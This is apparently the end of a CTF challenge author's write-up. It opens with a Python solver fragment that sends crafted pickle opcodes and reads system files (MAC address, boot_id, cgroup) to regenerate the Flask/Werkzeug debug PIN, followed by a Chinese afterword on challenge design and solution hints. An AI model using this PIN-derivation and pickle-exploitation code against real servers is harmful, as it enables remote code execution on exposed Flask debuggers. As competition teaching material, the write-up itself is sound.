FROM_MEMO(7) c4 += NEWOBJ() + BTUPLE(1) + FROM_MEMO(7) c4 += NEWOBJ() # <-- c4 += BTUPLE(1) + BTUPLE(2) + FROM_MEMO(7) c4 += NEWOBJ() + BTUPLE(1) + FROM_MEMO(7) c4 += NEWOBJ() c4 += o4 assert(len(c4) <= 200) # ; data = {'chall3': c3.hex(), 'chall4': c4.hex()} res = requests.post(url, data) return res.text.split("frozenset({'")[1].split("'})")[0] # ; ppb = [ 'nobody', # username, 'flask.app', # modname, 'Flask', # getattr(app, "__name__", type(app).__name__), '', # getattr(mod, "__file__", None), ] pb = [ '', # str(uuid.getnode()), '', # get_machine_id() ] ppb[3] = '/usr/local/lib/python3.11/site-packages/flask/app.py' pb[0] = getfile('/sys/class/net/eth0/address').split('\\n')[0] pb[0] = str(int(pb[0].replace(':', ''), 16)) pb[1] = getfile('/proc/sys/kernel/random/boot_id').split('\\n')[0].strip() pb[1] += getfile('/proc/self/cgroup').split('\\n')[0].strip().rpartition('/')[2] print(ppb); print(pb) def getpin(): from itertools import chain import hashlib h = hashlib.sha1() for bit in chain(ppb, pb): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num return rv # ; print('debug pin', getpin()) |
出题后话:某场比赛中一不小心非预期了 R i o b 的某道 pickle 题,这里算是一个加强版。刚开始的想法是弄一个需要综合各个部分来“前后配合”的解法,没想到 self.memo 刚好与它不谋而合,所以我常说不是它发现了 self.memo,而是 self.memo 找上了它。关于字符限制,刚开始只是随便打了个数 150,也没想到构造出来会卡得这么紧,那就顺其自然吧。至于大量重复出现的 Lord 什么的 God 什么的,其实是在搜迫真名言警句的时候偶然点进了 Bible 的链接,为了上下文统一就变成了这样;其实放点什么都行,只要不是空着。
说起本人正式入坑 CTF 的契机,其实也挺有趣的。其一是在平常绝对不会去的某食堂干完饭后,偶然间发现了被随意摆放在出口角落、已经沾灰了的招新看板;此时才第一次真切地认识到,啊,原来学校里还有这样一支队伍啊。这么说貌似有点不大好,但毕竟是在不同的校区。其实仔细想过去肯定能发现是有的,要找的话也不可能找不到,只是之前从来没有产生过这样的冲动;既然遇到了那就是缘分,记录下联系方式,做了几天迫真的心理准备,凭借以前乱搞留下的底子,顺利转正。其二是在某个普通的日子,学长们带我打 CTF 比赛,前一天可能是玩通宵了还是咋的,结束时晚上六点多有点困了,小憩一会准备接下来的 ACM 招新选拔。想着眯一会就没设闹钟,注意这是伏笔,然后一觉醒来发现还有 20 分钟结束,流汗黄豆,慌慌忙忙开机上号,最后的入队标准是 A 4 个题好像,前俩一遍过,第四调了一下也过,留给第三的时间已经不多了,一局定胜负。第一发好像 CE 了来着,搞得很尴尬;最后的结果相信各位也已经猜到了,那就是令人悔恨的 WA,很遗憾地 fail 了招新选拔。我将其称之为“缘分未到”,也就没有刻意地再去争取了;如果进了 ACM 集训,那将会消耗绝大多数的时间,CTF 这方面应该也就会稍微放放了吧。不过这么说倒是自己都有点不好意思,现在其实也就学长带着混混比赛,平时该干啥干啥;进了 ACM 可能会减少 CTF 的时间,但没进 ACM 结果留给 CTF 的时间好像也没有增加,原来这就是摸鱼生活,幸好当初没进 ACM 集训,缘,妙不可言。
好像跑得有点偏了,回到主题。毕竟是第一次尝试出题,尽可能地避免了鸡肋、钻牛角尖的情况,也不知道实际上有没有做到,但如果是自己在遇到这些情况时,经过一段时间的摸索和练习,还是比较有希望能给出预期解的。题一需要注意到 SELECT 返回二维数组与可能的原型链污染之间的关系,可能的歪路有尝试攻破只读的 mariadb,虽然都已经放只读了,还有前端的逻辑漏洞,虽然已经提示非漏洞点了,等等。题二需要有明确的思路,污染模板+原生类目录遍历+过滤绕过,其余的每一种方法都被封锁了,理论上是这样,可能会花上一些时间探索,要是死磕在一条歪路上就糟糕了。题三的迷惑性很强,但是亲切地给了 hint.txt,嗯,应该是没问题的,需要发现 loads() 与 self.memo 是解题的一大关键点,为此得触发各种不同的错误来尽可能地多爆出一点源代码,另外 150 的字符限制对于习惯于缩行的OIer们可能没什么难度,注意这里并不是特指,构造起来也是需要花费一点心思的。总之,不管怎么样,我是玩得很开心了,希望各位也能像我一样玩得开心。